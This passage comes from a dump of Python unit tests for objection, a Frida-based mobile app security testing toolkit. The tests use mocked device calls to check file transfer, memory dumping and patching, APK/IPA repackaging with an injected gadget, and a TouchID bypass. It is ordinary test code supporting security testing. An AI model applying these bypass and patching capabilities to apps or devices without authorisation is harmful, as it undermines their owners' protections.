'/foo/bar',\n            'readable': False,\n            'writable': False,\n            'files': {}\n        }\n\n        with capture(_ls_android, ['/foo/bar']) as o:\n            output = o\n\n        self.assertEqual(output, '\\nReadable: False  Writable: False\\n')\n\n    def test_download_platform_proxy_validates_arguments(self):\n        with capture(download, []) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: filesystem download <remote location> (optional: <local destination>)\\n')\n\n    @mock.patch('objection.commands.filemanager._download_ios')\n    def test_download_platform_proxy_calls_ios_method(self, mock_download_ios):\n        device_state.platform = Ios\n\n        download(['/foo', '/bar'])\n\n        self.assertTrue(mock_download_ios.called)\n\n    @mock.patch('objection.commands.filemanager._download_android')\n    def test_download_platform_proxy_calls_android_method(self, mock_download_android):\n        device_state.platform = Android\n\n        download(['/foo', '/bar'])\n\n        self.assertTrue(mock_download_android.called)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    @mock.patch('objection.commands.filemanager.open', create=True)\n    def test_downloads_file_with_ios_helper(self, mock_open, mock_api):\n        mock_api.return_value.ios_file_readable.return_value = True\n        mock_api.return_value.ios_file_path_is_file.return_value = True\n        mock_api.return_value.ios_file_download.return_value = {'data': b'\\x00'}\n\n        file_manager_state.cwd = '/foo'\n\n        with capture(_download_ios, '/foo', '/bar') as o:\n            output = o\n\n        expected_output = \"\"\"Downloading /foo to /bar\nStreaming file from device...\nWriting bytes to destination...\nSuccessfully downloaded /foo to /bar\n\"\"\"\n\n        self.assertTrue(mock_open.called)\n        self.assertEqual(output, expected_output)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_downloads_file_but_fails_on_unreadable_with_ios_helper(self, mock_api):\n        mock_api.return_value.ios_file_readable.return_value = False\n\n        with capture(_download_ios, '/foo', '/bar') as o:\n            output = o\n\n        self.assertEqual(output, 'Downloading /foo to /bar\\nUnable to download file. File is not readable.\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_downloads_file_but_fails_on_file_type_with_ios_helper(self, mock_api):\n        mock_api.return_value.ios_file_readable.return_value = True\n        mock_api.return_value.ios_file_path_is_file.return_value = False\n\n        with capture(_download_ios, '/foo', '/bar') as o:\n            output = o\n\n        self.assertEqual(output, 'Downloading /foo to /bar\\nUnable to download file. Target path is not a file.\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    @mock.patch('objection.commands.filemanager.open', create=True)\n    def test_downloads_file_with_android_helper(self, mock_open, mock_api):\n        mock_api.return_value.android_file_readable.return_value = True\n        mock_api.return_value.android_file_path_is_file.return_value = True\n        mock_api.return_value.android_file_download.return_value = {'data': b'\\x00'}\n\n        file_manager_state.cwd = '/foo'\n\n        with capture(_download_android, '/foo', '/bar') as o:\n            output = o\n\n        expected = \"\"\"Downloading /foo to /bar\nStreaming file from device...\nWriting bytes to destination...\nSuccessfully downloaded /foo to /bar\n\"\"\"\n\n        self.assertTrue(mock_open.called)\n        self.assertEqual(output, expected)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    @mock.patch('objection.commands.filemanager.open', create=True)\n    def test_downloads_file_but_fails_on_unreadable_with_android_helper(self, mock_open, mock_api):\n        mock_api.return_value.android_file_readable.return_value = False\n\n        file_manager_state.cwd = '/foo'\n\n        with capture(_download_android, '/foo', '/bar') as o:\n            output = o\n\n        self.assertFalse(mock_open.called)\n        self.assertEqual(output, 'Downloading /foo to /bar\\nUnable to download file. Target path is not readable.\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    @mock.patch('objection.commands.filemanager.open', create=True)\n    def test_downloads_file_but_fails_on_file_type_with_android_helper(self, mock_open, mock_api):\n        mock_api.return_value.android_file_readable.return_value = True\n        mock_api.return_value.android_file_path_is_file.return_value = False\n\n        file_manager_state.cwd = '/foo'\n\n        with capture(_download_android, '/foo', '/bar') as o:\n            output = o\n\n        self.assertFalse(mock_open.called)\n        self.assertEqual(output, 'Downloading /foo to /bar\\nUnable to download file. Target path is not a file.\\n')\n\n    def test_file_upload_method_proxy_validates_arguments(self):\n        with capture(upload, []) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: filesystem upload <local source> (optional: <remote destination>)\\n')\n\n    @mock.patch('objection.commands.filemanager._upload_ios')\n    def test_file_upload_method_proxy_calls_ios_helper_method(self, mock_upload_ios):\n        device_state.platform = Ios\n\n        upload(['/foo', '/bar'])\n\n        self.assertTrue(mock_upload_ios.called)\n\n    @mock.patch('objection.commands.filemanager._upload_android')\n    def test_file_upload_method_proxy_calls_android_helper_method(self, mock_upload_android):\n        device_state.platform = Android\n\n        upload(['/foo', '/bar'])\n\n        self.assertTrue(mock_upload_android.called)\n"
  },
  {
    "path": "tests/commands/test_frida_commands.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.frida_commands import _should_disable_exception_handler, frida_environment\nfrom ..helpers import capture\n\n\nclass TestFridaCommands(unittest.TestCase):\n    def test_detects_no_exception_handler_argument(self):\n        result = _should_disable_exception_handler([\n            '--test',\n            '--no-exception-handler'\n        ])\n\n        self.assertTrue(result)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_gets_frida_environment(self, mock_api):\n        mock_api.return_value.env_frida.return_value = {\n            'arch': 'x64',\n            'debugger': True,\n            'heap': 6988464,\n            'platform': 'darwin',\n            'version': '12.0.3',\n            'runtime': 'DUK',\n        }\n\n        with capture(frida_environment, []) as o:\n            output = o\n\n        expected_output = \"\"\"--------------------  -------\nFrida Version         12.0.3\nProcess Architecture  x64\nProcess Platform      darwin\nDebugger Attached     True\nScript Runtime        DUK\nFrida Heap Size       6.7 MiB\n--------------------  -------\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n"
  },
  {
    "path": "tests/commands/test_jobs.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.jobs import show, kill\nfrom objection.state.jobs import job_manager_state\nfrom ..helpers import capture\n\n\nclass MockJob:\n    \"\"\"\n        A mock job for testing purposes\n    \"\"\"\n\n    def __init__(self):\n        self.id = '3c3c65c7-67d2-4617-8fba-b96b6d2130d7'\n        self.started = '2017-10-14 09:21:01'\n        self.name = 'test'\n        self.args = ['--foo', 'bar']\n\n    def end(self):\n        pass\n\n\nclass TestJobs(unittest.TestCase):\n    def setUp(self):\n        self.mock_job = MockJob()\n\n    def tearDown(self):\n        job_manager_state.jobs = []\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_displays_empty_jobs_message(self, mock_api):\n        mock_api.return_value.jobs_get.return_value = []\n        with capture(show) as o:\n            output = o\n\n        expected_output = \"\"\"Job ID    Hooks    Type\n--------  -------  ------\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_displays_list_of_jobs(self, mock_api):\n        mock_api.return_value.jobs_get.return_value = [\n            {'identifier': 'rdcjq16g8xi', 'invocations': [{}], 'type': 'ios-jailbreak-disable'}]\n\n        with capture(show, []) as o:\n            output = o\n\n        expected_outut = \"\"\"Job ID         Hooks  Type\n-----------  -------  ---------------------\nrdcjq16g8xi        1  ios-jailbreak-disable\n\"\"\"\n\n        self.assertEqual(output, expected_outut)\n\n    def test_kill_validates_arguments(self):\n        with capture(kill, []) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: jobs kill <uuid>\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_cant_find_job_by_uuid(self, mock_api):\n        kill('foo')\n\n        self.assertTrue(mock_api.return_value.jobs_kill.called)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_kills_job_by_uuid(self, mock_api):\n        kill('foo')\n\n        self.assertTrue(mock_api.return_value.jobs_kill.called)\n"
  },
  {
    "path": "tests/commands/test_memory.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.memory import _is_string_input, dump_all, dump_from_base, list_modules, list_exports, \\\n    find_pattern, replace_pattern\nfrom ..helpers import capture\n\n\nclass MockRange:\n    \"\"\"\n        Mock Memory Rage\n    \"\"\"\n\n    def __init__(self):\n        self.size = 100\n        self.base_address = 0x00008000\n\n\nclass TestMemory(unittest.TestCase):\n    def test_parses_is_string_input_flag_from_arguments(self):\n        result = _is_string_input([\n            '--test',\n            '--string'\n        ])\n\n        self.assertTrue(result)\n\n    def test_dump_all_validates_arguments(self):\n        with capture(dump_all, []) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: memory dump all <local destination>\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    @mock.patch('objection.commands.memory.open', create=True)\n    def test_dump_all(self, mock_open, mock_api):\n        mock_api.return_value.memory_list_ranges.return_value = [\n            {'size': 100, 'base': '0x7fff90800000'}\n        ]\n        mock_api.return_value.memory_dump.return_value = b'\\x00'\n\n        with capture(dump_all, ['/foo']) as o:\n            output = o\n\n        expected_output = \"\"\"Will dump 1 rw- images, totalling 100.0 B\n\nMemory dumped to file: /foo\n\"\"\"\n        self.assertEqual(output, expected_output)\n        self.assertTrue(mock_open.called)\n\n    def test_dump_from_base_validates_arguments(self):\n        with capture(dump_from_base, []) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: memory dump from_base '\n                                 '<base_address> <size_to_dump> <local_destination>\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    @mock.patch('objection.commands.memory.open', create=True)\n    def test_dump_from_base(self, mock_open, mock_api):\n        mock_api.return_value.memory_dump.return_value = b'\\x00'\n\n        with capture(dump_from_base, ['0x00008000', '200', '/foo']) as o:\n            output = o\n\n        expected_output = \"\"\"Dumping 200.0 B from 0x00008000 to /foo\nMemory dumped to file: /foo\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n        self.assertTrue(mock_open.called)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_list_modules_without_errors_without_json_flag(self, mock_api):\n        mock_api.return_value.memory_list_modules.return_value = [{\n            'name': 'test',\n            'base': 0x00008000,\n            'size': 200,\n            'path': '/foo'\n        }]\n\n        with capture(list_modules, []) as o:\n            output = o\n\n        expected_outut = \"\"\"Save the output by adding `--json modules.json` to this command\nName      Base  Size           Path\n------  ------  -------------  ------\ntest     32768  200 (200.0 B)  /foo\n\"\"\"\n\n        self.assertEqual(output, expected_outut)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    @mock.patch('objection.commands.memory.open', create=True)\n    def test_list_modules_without_errors_with_json_flag(self, mock_open, mock_api):\n        mock_api.return_value.memory_list_modules.return_value = [{\n            'name': 'test',\n            'base': 0x00008000,\n            'size': 200,\n            'path': '/foo'\n        }]\n\n        with capture(list_modules, ['--json', 'foo']) as o:\n            output = o\n\n        expected_outut = \"\"\"Writing modules as json to foo...\nWrote modules to: foo\n\"\"\"\n\n        self.assertEqual(output, expected_outut)\n        self.assertTrue(mock_open.called)\n\n    def test_dump_exports_validates_arguments_without_json_flag(self):\n        with capture(list_exports, []) as o:\n            output = o\n\n        expected = \"\"\"Save the output by adding `--json exports.json` to this command\nUsage: memory list exports <module name>\n\"\"\"\n\n        self.assertEqual(output, expected)\n\n    def test_dump_exports_validates_arguments_with_json_flag(self):\n        with capture(list_exports, ['--json']) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: memory list exports <module name> (--json <local destination>)\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_dump_exports_without_error(self, mock_api):\n        mock_api.return_value.memory_list_exports.return_value = [{\n            'name': 'test',\n            'address': 0x00008000,\n            'type': 'function'\n        }]\n\n        with capture(list_exports, ['foo']) as o:\n            output = o\n\n        expected_outut = \"\"\"Save the output by adding `--json exports.json` to this command\nType      Name      Address\n--------  ------  ---------\nfunction  test        32768\n\"\"\"\n\n        self.assertEqual(output, expected_outut)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    @mock.patch('objection.commands.memory.open', create=True)\n    def test_dump_exports_without_error_as_json(self, mock_open, mock_api):\n        mock_api.return_value.memory_list_exports.return_value = [{\n            'name': 'test',\n            'address': 0x00008000,\n            'type': 'function'\n        }]\n\n        with capture(list_exports, ['foo', '--json', 'foo']) as o:\n            output = o\n\n        expected_outut = \"\"\"Writing exports as json to foo...\nWrote exports to: foo\n\"\"\"\n\n        self.assertEqual(output, expected_outut)\n        self.assertTrue(mock_open.called)\n\n    def test_find_pattern_validates_arguments(self):\n        with capture(find_pattern, []) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: memory search \"<pattern eg: 41 41 41 ?? 41>\" (--string) (--offsets-only)\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_find_pattern_without_string_argument(self, mock_api):\n        mock_api.return_value.memory_search.return_value = ['0x08000000']\n\n        with capture(find_pattern, ['41 41 41']) as o:\n            output = o\n\n        expected_output = \"\"\"Searching for: 41 41 41\nPattern matched at 1 addresses\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_find_pattern_with_string_argument(self, mock_api):\n        mock_api.return_value.memory_search.return_value = ['0x08000000']\n\n        with capture(find_pattern, ['foo-bar-baz', '--string']) as o:\n            output = o\n\n        expected_output = \"\"\"Searching for: 66 6f 6f 2d 62 61 72 2d 62 61 7a\nPattern matched at 1 addresses\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_find_pattern_without_string_argument_with_offets_only(self, mock_api):\n        mock_api.return_value.memory_search.return_value = ['0x08000000']\n\n        with capture(find_pattern, ['41 41 41', '--offsets-only']) as o:\n            output = o\n\n        expected_output = \"\"\"Searching for: 41 41 41\nPattern matched at 1 addresses\n0x08000000\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n\n\n    def test_replace_pattern_validates_arguments(self):\n        with capture(replace_pattern, []) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: memory replace \"<search pattern eg: 41 41 ?? 41>\" \"<replace value eg: 41 50>\" (--string-pattern) (--string-replace)\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_replace_pattern_without_string_argument(self, mock_api):\n        mock_api.return_value.memory_replace.return_value = ['0x08000000']\n\n        with capture(replace_pattern, ['41 41 41','41 42']) as o:\n            output = o\n\n        expected_output = \"\"\"Searching for: 41 41 41, replacing with: 41 42\nPattern replaced at 1 addresses\n0x08000000\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_replace_pattern_with_string_argument(self, mock_api):\n        mock_api.return_value.memory_replace.return_value = ['0x08000000']\n\n        with capture(replace_pattern, ['foo-bar-baz', '41 41', '--string-pattern']) as o:\n            output = o\n\n        expected_output = \"\"\"Searching for: 66 6f 6f 2d 62 61 72 2d 62 61 7a, replacing with: 41 41\nPattern replaced at 1 addresses\n0x08000000\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_replace_pattern_without_string_argument_with_offets_only(self, mock_api):\n        mock_api.return_value.memory_replace.return_value = ['0x08000000']\n\n        with capture(replace_pattern, ['41 41 41', 'ABC', '--string-replace']) as o:\n            output = o\n\n        expected_output = \"\"\"Searching for: 41 41 41, replacing with: ABC\nPattern replaced at 1 addresses\n0x08000000\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n"
  },
  {
    "path": "tests/commands/test_mobile_packages.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.mobile_packages import patch_ios_ipa, patch_android_apk\nfrom ..helpers import capture\n\n\nclass TestMobilePackages(unittest.TestCase):\n    @mock.patch('objection.commands.mobile_packages.Github')\n    @mock.patch('objection.commands.mobile_packages.IosGadget')\n    @mock.patch('objection.commands.mobile_packages.IosPatcher')\n    @mock.patch('objection.commands.mobile_packages.shutil')\n    @mock.patch('objection.commands.mobile_packages.os')\n    def test_patching_ios_ipa(self, mock_os, mock_shutil, mock_iospatcher, mock_iosgadget, mock_github):\n        mock_github.return_value.get_latest_version.return_value = '1.0'\n        mock_iosgadget.return_value.get_local_version.return_value = '0.9'\n\n        mock_iospatcher.return_value.are_requirements_met.return_value = True\n        mock_iospatcher.return_value.get_patched_ipa_path.return_value = '/foo/ipa'\n\n        with capture(patch_ios_ipa, 'test.ipa', '00-11', '/foo', '', False, False) as o:\n            output = o\n\n        expected_output = \"\"\"Using latest Github gadget version: 1.0\nRemote FridaGadget version is v1.0, local is v0.9. Downloading...\nPatcher will be using Gadget version: 1.0\nCopying final ipa from /foo/ipa to current directory...\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n        self.assertTrue(mock_shutil.copyfile.called)\n        self.assertTrue(mock_os.path.join.called)\n        self.assertTrue(mock_os.path.abspath.called)\n        self.assertTrue(mock_os.path.basename.called)\n\n    @mock.patch('objection.commands.mobile_packages.Github')\n    @mock.patch('objection.commands.mobile_packages.AndroidGadget')\n    @mock.patch('objection.commands.mobile_packages.AndroidPatcher')\n    @mock.patch('objection.commands.mobile_packages.shutil')\n    @mock.patch('objection.commands.mobile_packages.os')\n    @mock.patch('objection.commands.mobile_packages.delegator')\n    @mock.patch('objection.commands.mobile_packages.input', create=True)\n    def test_patching_android_apk(self, mock_input, mock_delegator, mock_os, mock_shutil, mock_androidpatcher,\n                                  mock_androidgadget, mock_github):\n        mock_github.return_value.get_latest_version.return_value = '1.0'\n        mock_androidgadget.return_value.get_local_version.return_value = '0.9'\n\n        mock_androidpatcher.return_value.are_requirements_met.return_value = True\n        mock_androidpatcher.return_value.get_temp_working_directory.return_value = '/foo/apk'\n        mock_androidpatcher.return_value.get_patched_apk_path.return_value = '/foo/bar/apk'\n\n        mock_delegator_output = mock.Mock()\n        type(mock_delegator_output).out = 'x86'\n\n        mock_delegator.run.return_value = mock_delegator_output\n        mock_input.return_value = ''\n\n        with capture(patch_android_apk, 'test.apk', '', True, False) as o:\n            output = o\n\n        expected_output = \"\"\"No architecture specified. Determining it using `adb`...\nDetected target device architecture as: x86\nUsing latest Github gadget version: 1.0\nRemote FridaGadget version is v1.0, local is v0.9. Downloading...\nPatcher will be using Gadget version: 1.0\nPatching paused. The next step is to rebuild the APK. If you require any manual fixes, the current temp directory is:\n/foo/apk\nCopying final apk from /foo/bar/apk to test.objection.apk in current directory...\n\"\"\"\n\n        self.assertEqual(output, expected_output)\n        self.assertTrue(mock_shutil.copyfile.called)\n        self.assertTrue(mock_os.path.join.called)\n        self.assertTrue(mock_os.path.abspath.called)\n"
  },
  {
    "path": "tests/commands/test_plugin_manager.py",
    "content": "import os\nimport unittest\nfrom unittest import mock\n\nfrom objection.commands.plugin_manager import load_plugin\nfrom ..helpers import capture\n\n\nclass TestPluginManager(unittest.TestCase):\n    def setUp(self):\n        self.plugin_path = os.path.abspath(os.path.dirname(__file__) + '/../data/plugin')\n\n    def test_load_plugin_validates_arguments(self):\n        with capture(load_plugin, []) as o:\n            output = o\n\n        expected_output = 'Usage: plugin load <plugin path> (<plugin namespace>)\\n'\n        self.assertEqual(output, expected_output)\n\n    @mock.patch('objection.commands.plugin_manager.os.path.exists')\n    def test_load_plugin_validates_plugin_init_exists(self, mock_exists):\n        mock_exists.return_value = False\n        with capture(load_plugin, [self.plugin_path]) as o:\n            output = o\n\n        self.assertTrue('tests/data/plugin does not appear to be a valid plugin. Missing __init__.py' in output)\n\n    @mock.patch('objection.utils.plugin.state_connection')\n    def test_load_plugin_loads_plugin(self, mock_state_connection):\n        with capture(load_plugin, [self.plugin_path]) as o:\n            output = o\n\n        from objection.console import commands\n        self.assertTrue(commands.COMMANDS['plugin']['commands']['version']['commands']['info']\n                        ['meta'] == 'Get the current Frida version')\n        self.assertEqual('Loaded plugin: version\\n', output)\n        self.assertTrue(mock_state_connection.get_agent.called)\n"
  },
  {
    "path": "tests/commands/test_ui.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.ui import alert, _alert_ios, ios_screenshot, dump_ios_ui, bypass_touchid, android_screenshot, \\\n    android_flag_secure\nfrom objection.state.device import device_state, Ios\nfrom ..helpers import capture\n\n\nclass TestUI(unittest.TestCase):\n    def tearDown(self):\n        device_state.platform = None\n\n    @mock.patch('objection.commands.ui._alert_ios')\n    def test_alert_helper_method_proxy_calls_ios(self, mock_alert_ios):\n        device_state.platform = Ios()\n\n        alert([])\n\n        self.assertTrue(mock_alert_ios.called_with('objection!'))\n\n    @mock.patch('objection.commands.ui._alert_ios')\n    def test_alert_helper_method_proxy_calls_ios_custom_message(self, mock_alert_ios):\n        device_state.platform = Ios()\n\n        alert(['foo'])\n\n        self.assertTrue(mock_alert_ios.called_with('foo'))\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_alert_ios_helper_method(self, mock_api):\n        _alert_ios('foo')\n\n        self.assertTrue(mock_api.return_value.ios_ui_alert.called)\n\n    def test_ios_screenshot_validates_arguments(self):\n        with capture(ios_screenshot, []) as o:\n            output = o\n\n        self.assertTrue(output, 'Usage: ios ui screenshot <local png destination>\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    @mock.patch('objection.commands.ui.open', create=True)\n    def test_ios_screenshot(self, mock_open, mock_api):\n        mock_api.return_value.ios_ui_screenshot.return_value = b'\\x00'\n\n        with capture(ios_screenshot, ['foo']) as o:\n            output = o\n\n        self.assertTrue(output, 'Screenshot saved to: foo.png\\n')\n        self.assertTrue(mock_open.called)\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_dump_ios_ui(self, mock_api):\n        mock_api.return_value.ios_ui_window_dump.return_value = 'test_ui'\n\n        with capture(dump_ios_ui, []) as o:\n            output = o\n\n        self.assertTrue(output, 'test_ui\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_bypass_touchid(self, mock_api):\n        bypass_touchid()\n\n        self.assertTrue(mock_api.return_value.ios_ui_biometrics_bypass.called)\n\n    def test_android_screenshot_validates_arguments(self):\n        with capture(android_screenshot, []) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: android ui screenshot <local png destination>\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    @mock.patch('objection.commands.ui.open', create=True)\n    def test_android_screenshot(self, mock_open, mock_api):\n        mock_api.return_value.android_ui_screenshot.return_value = b'\\x00'\n\n        with capture(android_screenshot, ['foo']) as o:\n            output = o\n\n        self.assertTrue(output, 'Screenshot saved to: foo.png\\n')\n        self.assertTrue(mock_open.called)\n\n    def test_android_flag_secure_validates_argument_as_boolean_string(self):\n        with capture(android_flag_secure, ['foo']) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: android ui FLAG_SECURE <true/false>\\n')\n\n    def test_android_flag_secure_validates_argument_is_present(self):\n        with capture(android_flag_secure, []) as o:\n            output = o\n\n        self.assertEqual(output, 'Usage: android ui FLAG_SECURE <true/false>\\n')\n\n    @mock.patch('objection.state.connection.state_connection.get_api')\n    def test_android_flag_secure(self, mock_api):\n        android_flag_secure(['true'])\n\n        self.assertTrue(mock_api.return_value.android_ui_set_flag_secure.called)\n"
  },
  {
    "path": "tests/console/__init__.py",
    "content": ""
  },
  {
    "path": "tests/console/test_cli.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom click.testing import CliRunner\n\nfrom objection.__init__ import __version__\nfrom objection.console.cli import version, patchipa, patchapk\n\n\nclass TestsCommandLineInteractions(unittest.TestCase):\n    def test_version(self):\n        runner = CliRunner()\n        result = runner.invoke(version)\n\n        self.assertIsNone(result.exception)\n        self.assertEqual(result.exit_code, 0)\n        self.assertEqual(result.output, 'objection: ' + __version__ + '\\n')\n\n    @mock.patch('objection.console.cli.patch_android_apk')\n    def test_patchapk_runs_with_minimal_cli_arguments(self, _):\n        runner = CliRunner()\n        result = runner.invoke(patchapk, ['--source', 'foo.apk'])\n\n        self.assertIsNone(result.exception)\n        self.assertEqual(result.exit_code, 0)\n\n    @mock.patch('objection.console.cli.patch_android_apk')\n    def test_patchapk_runs_with_all_cli_arguments(self, _):\n        runner = CliRunner()\n        result = runner.invoke(patchapk, [\n            '--source', 'foo.apk',\n            '--architecture', 'x86',\n            '--pause',\n            '--skip-resources',\n            '--network-security-config',\n            '--skip-cleanup',\n            '--enable-debug',\n        ])\n\n        self.assertIsNone(result.exception)\n        self.assertEqual(result.exit_code, 0)\n\n    def test_patchapk_fails_and_wants_source(self):\n        runner = CliRunner()\n        result = runner.invoke(patchapk)\n\n        self.assertIsNotNone(result.exception)\n        self.assertEqual(result.exit_code, 2)\n\n    @mock.patch('objection.console.cli.patch_ios_ipa')\n    def test_patchipa_runs_with_source_and_codesignature(self, _):\n        runner = CliRunner()\n        result = runner.invoke(patchipa, ['--source', 'foo.ipa', '--codesign-signature', 'bar'])\n\n        self.assertIsNone(result.exception)\n        self.assertEqual(result.exit_code, 0)\n\n    @mock.patch('objection.console.cli.patch_ios_ipa')\n    def test_patchipa_runs_with_all_cli_arguments(self, _):\n        runner = CliRunner()\n        result = runner.invoke(patchipa, [\n            '--source', 'foo.ipa',\n            '--codesign-signature', 'bar',\n            '--provision-file', 'baz.mobileprovision',\n            '--binary-name', 'zet',\n            '--skip-cleanup'\n        ])\n\n        self.assertIsNone(result.exception)\n        self.assertEqual(result.exit_code, 0)\n\n    def test_patchipa_fails_and_wants_source(self):\n        runner = CliRunner()\n        result = runner.invoke(patchipa, ['--codesign-signature', 'foo'])\n\n        self.assertIsNotNone(result.exception)\n        self.assertEqual(result.exit_code, 2)\n\n    def test_patchipa_fails_and_wants_codesign_signature(self):\n        runner = CliRunner()\n        result = runner.invoke(patchipa, ['--source', 'foo'])\n\n        self.assertIsNotNone(result.exception)\n        self.assertEqual(result.exit_code, 2)\n"
  },
  {
    "path": "tests/console/test_completer.py",
    "content": "import unittest\n\nfrom prompt_toolkit.document import Document\n\nfrom objection.console.completer import CommandCompleter\n\n\nclass TestConsoleCommandCompletion(unittest.TestCase):\n    def setUp(self):\n        self.command_completer = CommandCompleter()\n\n    def test_can_find_command_completion(self):\n        document = Document('android hooking list ', 21)\n\n        completions = self.command_completer.find_completions(document)\n\n        self.assertEqual(type(completions), dict)\n        self.assertEqual(completions['activities']['meta'], 'List the registered Activities')\n\n    def test_will_have_empty_dict_for_invalid_command(self):\n        document = Document('android hooking list fruitcakes ', 30)\n\n        completions = self.command_completer.find_completions(document)\n\n        self.assertEqual(type(completions), dict)\n        self.assertEqual(len(completions), 0)\n"
  },
  {
    "path": "tests/console/test_repl.py",
    "content": "import unittest\nfrom unittest import mock\n\nfrom objection.commands.android.hooking import show_registered_activities\nfrom objection.console.repl import Repl\nfrom ..helpers import capture\n\n\nclass TestRepl(unittest.TestCase):\n    def setUp(self):\n        self.repl = Repl()\n\n    def test_does_nothing_when_empty_command_is_passed(self):\n        with capture(self.repl.run_command, '') as output:\n            self.assertEqual('', output)\n\n    def test_does_nothing_when_only_spaces_as_command_is_passed(self):\n        with capture(self.repl.run_command, '      ') as o:\n            output = o\n\n        self.assertEqual(output, '')\n\n    @mock.patch('objection.console.repl.delegator.run')\n    def test_runs_os_command_when_prefixed_with_excalmation_mark(self, patched_delegator):\n        patched_delegator.return_value = mock.MagicMock(out=b'out_test', err=b'err_test')\n\n        with capture(self.repl.run_command, '!id') as o:\n            output = o\n\n        expected_output = ('Running OS command: id\\n'\n                           '\\n'\n                           'out_test\\n'\n                           'err_test\\n')\n        self.assertEqual(output, expected_output)\n\n    def test_finds_help_when_prefixed_with_help_command(self):\n        with capture(self.repl.run_command, 'help android') as o:\n            output = o\n\n        expected_output = ('Contains subcommands to work with Android specific features. These include\\n'\n                           'shell commands, bypassing SSL pinning and simulating a rooted environment.\\n'\n                           '\\n')\n\n        self.assertEqual(output, expected_output)\n\n    def test_fails_to_find_help_for_invalid_command(self):\n        with capture(self.repl.run_command, 'help what') as o:\n            output = o\n\n        expected_output = ('No help found for: what. Either the command '\n                           'does not exist or contains subcommands with help.\\n')\n\n        self.assertEqual(output, expected_output)\n\n    def test_fails_when_invalid_command_is_passed(self):\n        with capture(self.repl.run_command, 'android wont do this') as o:\n            output = o\n\n        expected_outut = 'Unknown or ambiguous command: `android wont do this`. Try `help android wont do this`.\\n'\n        self.assertEqual(output, expected_outut)\n\n    def test_is_able_to_find_an_executable_method_to_run_with_tokens_passed(self):\n        walk_count, method = self.repl._find_command_exec_method(['android', 'hooking', 'list', 'activities'])\n\n        self.assertEqual(walk_count, 4)\n        self.assertEqual(method, show_registered_activities)\n\n    def test_will_fail_to_find_exec_method_with_invalid_tokens(self):\n        walk_count, method = self.repl._find_command_exec_method(['android', 'hooking', 'list', 'invalid'])\n\n        self.assertEqual(walk_count, 4)\n        self.assertIsNone(method)\n\n    def test_is_able_to_locate_nested_helpfile_contents(self):\n        help_file = self.repl._find_command_help(['ios', 'keychain', 'clear'])\n\n        expected_output = ('Command: ios keychain clear\\n'\n                           '\\n'\n                           'Usage: ios keychain clear\\n'\n                           '\\n'\n                           'Clears all the keychain items for the current application. This is achieved by\\n'\n                           'iterating over the keychain type classes available in iOS and populating a search\\n'\n                           'dictionary with them. This dictionary is then used as a query to SecItemDelete(),\\n'\n                           'deleting the entries.\\n'\n                           'Items that will be deleted include everything stored with the entitlement group used\\n'\n                           'during the patching/signing process.\\n'\n                           '\\n'\n                           'Examples:\\n'\n                           '   ios keychain clear\\n')\n\n        self.assertEqual(help_file, expected_output)\n\n    @mock.patch('objection.console.repl.PromptSession')\n    @mock.patch('objection.console.repl.Repl.run_command')\n    def test_runs_commands_and_catches_exceptions(self, prompt, run_command):\n        prompt.return_value.prompt.return_value = 'ios keychain clear'\n        run_command.side_effect = TypeError()\n\n        self.assertRaises(TypeError)\n"
  },
  {
    "path": "tests/data/plugin/__init__.py",
